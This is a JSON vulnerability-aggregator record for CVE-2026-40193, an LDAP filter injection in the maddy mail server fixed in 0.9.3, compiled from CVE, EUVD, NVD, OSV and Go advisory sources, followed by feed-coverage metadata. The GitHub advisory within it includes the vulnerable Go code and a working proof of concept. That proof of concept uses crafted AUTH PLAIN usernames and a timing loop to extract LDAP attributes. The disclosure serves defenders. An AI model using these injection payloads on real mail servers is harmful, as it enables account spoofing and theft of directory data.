{"id":"GHSA-5835-4gvc-32pc","revision":null,"records":[{"revision":"631fb985d74c46099cd355b48adc2cd5","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40193","aliases":[],"title":"Maddy Mail Server: LDAP Filter Injection via Unsanitized Username","description":"maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.ReplaceAll() without any LDAP filter escaping, despite the go-ldap/ldap/v3 library's ldap.EscapeFilter() function being available in the same import. This affects three code paths: the Lookup() filter, the AuthPlain() DN template, and the AuthPlain() filter. An attacker with network access to the SMTP submission or IMAP interface can inject arbitrary LDAP filter expressions through the username field in AUTH PLAIN or LOGIN commands. This enables identity spoofing by manipulating filter results to authenticate as another user, LDAP directory enumeration via wildcard filters, and blind extraction of LDAP attribute values using authentication responses as a boolean oracle or via timing side-channels between the two distinct failure paths. This issue has been fixed in version 0.9.3.","state":0,"publishedAt":"2026-04-15T23:15:25.011+00:00","modifiedAt":"2026-04-16T14:23:52.438+00:00","affected":[{"ecosystem":"Vendor product","name":"maddy","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"foxcpp\",\n                    \"product\": \"maddy\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.9.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/foxcpp/maddy/security/advisories/GHSA-5835-4gvc-32pc","https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba","https://github.com/foxcpp/maddy/releases/tag/v0.9.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-40193","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-40193","identifiers":["CVE-2026-40193"]},"retained":false,"historicalAffected":[]},{"revision":"272aee14d8fe49638f8fa378fffa7d50","observedAt":"2026-10-28T05:01:23.888+00:00","statement":{"source":"euvd","id":"EUVD-2026-23131","aliases":["CVE-2026-40193","GHSA-5835-4gvc-32pc"],"title":"maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.Replac…","description":"maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.ReplaceAll() without any LDAP filter escaping, despite the go-ldap/ldap/v3 library's ldap.EscapeFilter() function being available in the same import. This affects three code paths: the Lookup() filter, the AuthPlain() DN template, and the AuthPlain() filter. An attacker with network access to the SMTP submission or IMAP interface can inject arbitrary LDAP filter expressions through the username field in AUTH PLAIN or LOGIN commands. This enables identity spoofing by manipulating filter results to authenticate as another user, LDAP directory enumeration via wildcard filters, and blind extraction of LDAP attribute values using authentication responses as a boolean oracle or via timing side-channels between the two distinct failure paths. This issue has been fixed in version 0.9.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":null}],"references":["https://github.com/foxcpp/maddy/security/advisories/GHSA-5835-4gvc-32pc","https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba","https://github.com/foxcpp/maddy/releases/tag/v0.9.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-23131","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 15, 2026, 11:15:25 PM","dateUpdated":"Apr 16, 2026, 2:23:52 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-23131","identifiers":["EUVD-2026-23131","CVE-2026-40193","GHSA-5835-4gvc-32pc"]},"retained":false,"historicalAffected":[]},{"revision":"2d5b981498824308877078edbea9bbd2","observedAt":"2026-10-27T10:09:56.341+00:00","statement":{"source":"nvd","id":"CVE-2026-40193","aliases":[],"title":"maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.Replac…","description":"maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.ReplaceAll() without any LDAP filter escaping, despite the go-ldap/ldap/v3 library's ldap.EscapeFilter() function being available in the same import. This affects three code paths: the Lookup() filter, the AuthPlain() DN template, and the AuthPlain() filter. An attacker with network access to the SMTP submission or IMAP interface can inject arbitrary LDAP filter expressions through the username field in AUTH PLAIN or LOGIN commands. This enables identity spoofing by manipulating filter results to authenticate as another user, LDAP directory enumeration via wildcard filters, and blind extraction of LDAP attribute values using authentication responses as a boolean oracle or via timing side-channels between the two distinct failure paths. This issue has been fixed in version 0.9.3.","state":0,"publishedAt":"2026-04-16T00:16:28.163+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba","https://github.com/foxcpp/maddy/releases/tag/v0.9.3","https://github.com/foxcpp/maddy/security/advisories/GHSA-5835-4gvc-32pc"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40193","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-90"],"productCriteria":["cpe:2.3:a:maddy_project:maddy:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-16T00:16:28.163","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40193","identifiers":["CVE-2026-40193"]},"retained":false,"historicalAffected":[]},{"revision":"5ecb2afa8579437b8ec6be4f4bf7ca67","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-5835-4gvc-32pc","aliases":["CVE-2026-40193","GO-2026-5137"],"title":"Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username","description":"### Summary\n\nThe `auth.ldap` module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via `strings.ReplaceAll()` without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The `go-ldap/ldap/v3` library—already imported in the same file—provides `ldap.EscapeFilter()` specifically for this purpose, but it is never called.\n\n### Patched version\n\nUpgrade to maddy 0.9.3.\n\n### Details\n\n**Affected file:** `internal/auth/ldap/ldap.go`\n\nThree locations substitute the raw, attacker-controlled `username` into LDAP filter or DN strings with no escaping:\n\n**1. `Lookup()` — line 228 (filter injection)**\n\n```go\nfunc (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {\n    // ...\n    req := ldap.NewSearchRequest(\n        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n        2, 0, false,\n        strings.ReplaceAll(a.filterTemplate, \"{username}\", username),  // <-- NO ESCAPING\n        []string{\"dn\"}, nil)\n```\n\n**2. `AuthPlain()` — line 255 (DN template injection)**\n\n```go\nfunc (a *Auth) AuthPlain(username, password string) error {\n    // ...\n    if a.dnTemplate != \"\" {\n        userDN = strings.ReplaceAll(a.dnTemplate, \"{username}\", username)  // <-- NO ESCAPING\n```\n\n**3. `AuthPlain()` — line 260 (filter injection)**\n\n```go\n    } else {\n        req := ldap.NewSearchRequest(\n            a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n            2, 0, false,\n            strings.ReplaceAll(a.filterTemplate, \"{username}\", username),  // <-- NO ESCAPING\n            []string{\"dn\"}, nil)\n```\n\nThe `go-ldap/ldap/v3` library (v3.4.10, imported at line 17) provides `ldap.EscapeFilter()` which escapes `(`, `)`, `*`, `\\`, and NUL per RFC 4515. It is never called on user input.\n\n**No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.**\n\n### PoC\n\n**Prerequisites:**\n- A maddy instance configured with `auth.ldap` using a `filter` directive\n- An LDAP directory (e.g., OpenLDAP) with at least one user\n- Network access to maddy's SMTP submission port (587) or IMAP port (993/143)\n\n**Step 1: Vulnerable maddy configuration**\n\n```\nauth.ldap ldap_auth {\n    urls ldap://ldapserver:389\n    bind plain \"cn=admin,dc=example,dc=org\" \"adminpassword\"\n    base_dn \"ou=people,dc=example,dc=org\"\n    filter \"(&(objectClass=inetOrgPerson)(uid={username}))\"\n}\n\nsubmission tcp://0.0.0.0:587 {\n    auth &ldap_auth\n    # ...\n}\n```\n\nAssume the LDAP directory contains users `alice` (password: `alice_pass`) and `bob` (password: `bob_pass`).\n\n**Step 2: Verify normal authentication works**\n\n```bash\n# Encode AUTH PLAIN: \\x00alice\\x00alice_pass\nAUTH_BLOB=$(printf '\\x00alice\\x00alice_pass' | base64)\n\n# Connect via SMTP submission with STARTTLS\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# Expected: 235 Authentication succeeded\n```\n\n**Step 3: Boolean-based blind LDAP injection (attribute extraction)**\n\nAn attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.\n\n```bash\n# Scenario: attacker knows bob's password (\"bob_pass\").\n# Goal: extract bob's \"description\" attribute value one character at a time.\n#\n# Injected username: bob)(description=S*\n# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))\n#\n# If bob's description starts with \"S\" → filter matches 1 entry (bob)\n#   → conn.Bind(bob_DN, \"bob_pass\") succeeds → 235 (SUCCESS)\n# If not → filter matches 0 entries → 535 (FAILURE)\n#\n# By iterating characters, the attacker reconstructs the full attribute value.\n\n# Test: does bob's description start with \"S\"?\nINJECTED='bob)(description=S*'\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# 235 → yes, starts with \"S\"\n\n# Narrow: does it start with \"Se\"?\nINJECTED='bob)(description=Se*'\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\n# ... repeat until full value is extracted\n\n# This works for ANY LDAP attribute: userPassword hashes, mail,\n# telephoneNumber, memberOf, etc.\n```\n\nFor extracting attributes of **other users** (whose password the attacker does not know), a timing side-channel is used instead. The `AuthPlain()` function has two distinct failure paths:\n\n- **0 entries matched** (line 270): returns `ErrUnknownCredentials` immediately — **fast**\n- **1 entry matched, bind fails** (line 275): performs `conn.Bind()` over the network, then returns — **slow** (adds LDAP bind round-trip latency)\n\nBoth return SMTP `535`, but the timing difference is measurable:\n\n```bash\n# Target: extract alice's \"description\" attribute.\n# Attacker does NOT know alice's password.\n#\n# Injected username: alice)(description=S*\n# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))\n#\n# If alice's description starts with \"S\":\n#   → 1 match → conn.Bind(alice_DN, \"wrong\") → bind fails → 535 (SLOW)\n# If not:\n#   → 0 matches → immediate 535 (FAST)\n#\n# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)\n\nfor c in {a..z} {A..Z} {0..9}; do\n    INJECTED=\"alice)(description=${c}*\"\n    AUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00wrong\" | base64)\n    START=$(date +%s%N)\n    echo -e \"EHLO test\\r\\nAUTH PLAIN ${AUTH_BLOB}\\r\\nQUIT\\r\\n\" | \\\n        openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null\n    END=$(date +%s%N)\n    ELAPSED=$(( (END - START) / 1000000 ))\n    echo \"char='$c' time=${ELAPSED}ms\"\ndone\n# Characters with significantly longer response times indicate a filter match.\n```\n\n### Impact\n\n**Who is affected:** Any maddy deployment that uses the `auth.ldap` module with either the `filter` or `dn_template` directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.\n\n**What an attacker can do:**\n\n1. **Identity spoofing:** An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (`connState.AuthUser` in SMTP, `username` passed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream.\n\n2. **LDAP directory enumeration:** By injecting wildcard filters (`*`) and observing error responses (e.g., \"too many entries\" vs. \"unknown credentials\"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure.\n\n3. **Attribute value extraction via boolean-based blind injection:** An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g., `bob)(description=X*`) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel.\n\n4. **DN template path traversal:** When `dn_template` is used instead of `filter` (line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.\n\n### Credit\n\n[Yuheng Zhang](mailto:zhangyuh25@mails.tsinghua.edu.cn), [Zihan Zhang](mailto:zzh1032@sjtu.edu.cn), [Jianjun Chen](mailto:jianjun@tsinghua.edu.cn) and [Teatime Lab LTD.](mailto:research@teatimelab.com)","state":0,"publishedAt":"2026-04-13T19:22:52+00:00","modifiedAt":"2026-06-25T18:56:34.6221+00:00","affected":[{"ecosystem":"Go","name":"github.com/foxcpp/maddy","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/foxcpp/maddy/security/advisories/GHSA-5835-4gvc-32pc","https://nvd.nist.gov/vuln/detail/CVE-2026-40193","https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba","https://github.com/foxcpp/maddy","https://github.com/foxcpp/maddy/releases/tag/v0.9.3"],"sourceUrl":"https://github.com/advisories/GHSA-5835-4gvc-32pc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5835-4gvc-32pc","identifiers":["GHSA-5835-4gvc-32pc","CVE-2026-40193","GO-2026-5137"]},"retained":false,"historicalAffected":[]},{"revision":"497f5102061d4ed8b0d03d76e1ce8fa6","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5137","aliases":["CVE-2026-40193","GHSA-5835-4gvc-32pc"],"title":"Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username in github.com/foxcpp/maddy","description":"Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username in github.com/foxcpp/maddy","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:26.6992351+00:00","affected":[{"ecosystem":"Go","name":"github.com/foxcpp/maddy","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/foxcpp/maddy/security/advisories/GHSA-5835-4gvc-32pc","https://nvd.nist.gov/vuln/detail/CVE-2026-40193","https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba","https://github.com/foxcpp/maddy/releases/tag/v0.9.3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5137","license":"OSV · upstream source license applies","key":"osv:GO-2026-5137","identifiers":["GO-2026-5137","CVE-2026-40193","GHSA-5835-4gvc-32pc"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T01:48:55.4491357+00:00","complete":true,"records":1764,"lastAttemptAt":"2026-10-30T01:48:55.4491357+00:00","lastSuccessAt":"2026-10-30T01:48:55.6546169+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.6546176+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","complete":true,"records":416807,"lastAttemptAt":"2026-10-30T01:48:54.7743429+00:00","lastSuccessAt":"2026-10-30T00:54:38.6858592+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:54.7743429+00:00","snapshotPublishedAt":"2026-10-30T01:29:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-824f5092797940c08129032fcab8f0dd","complete":false,"records":13504,"lastAttemptAt":"2026-10-30T02:01:05.0861472+00:00","lastSuccessAt":"2026-10-30T02:01:05.08+00:00","error":"9 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-30T02:01:05.08+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13547,"expectedIdentifiers":13587,"failedIdentifiers":9},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-30T01:48:55.4491357+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T01:48:55.4491357+00:00","lastSuccessAt":"2026-10-30T01:48:55.6554576+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.6554578+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c39f89b50d5243318487ad216daf7ffb","complete":true,"records":13527,"lastAttemptAt":"2026-10-30T01:48:56.2261206+00:00","lastSuccessAt":"2026-10-29T22:50:37.74+00:00","error":null,"lastVerifiedAt":"2026-10-29T22:50:37.74+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13587,"expectedIdentifiers":13587,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-9016081e9e88f5929902343d85df87c5c4a1486b10ab07bc6c4f53f98f358871","complete":true,"records":9806,"lastAttemptAt":"2026-10-30T01:48:55.2317852+00:00","lastSuccessAt":"2026-10-29T17:17:25.9359141+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.2317852+00:00","snapshotPublishedAt":"2026-10-29T16:48:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-30T01:48:54.9356382+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:54.9356382+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5221f6b645588be0464ab0e16e8adfe42d1ccd8f841048d2bd4d0c1cf79fd6b1","complete":true,"records":3014,"lastAttemptAt":"2026-10-30T01:48:55.4168216+00:00","lastSuccessAt":"2026-10-30T00:54:54.6624163+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.4168216+00:00","snapshotPublishedAt":"2026-10-30T00:48:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ec5b13e78c39945726a720832da7660d2774969f16e2a34f99460c135811abd5","complete":true,"records":230948,"lastAttemptAt":"2026-10-30T01:48:55.0481567+00:00","lastSuccessAt":"2026-10-29T22:50:35.0693267+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.0481567+00:00","snapshotPublishedAt":"2026-10-29T22:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}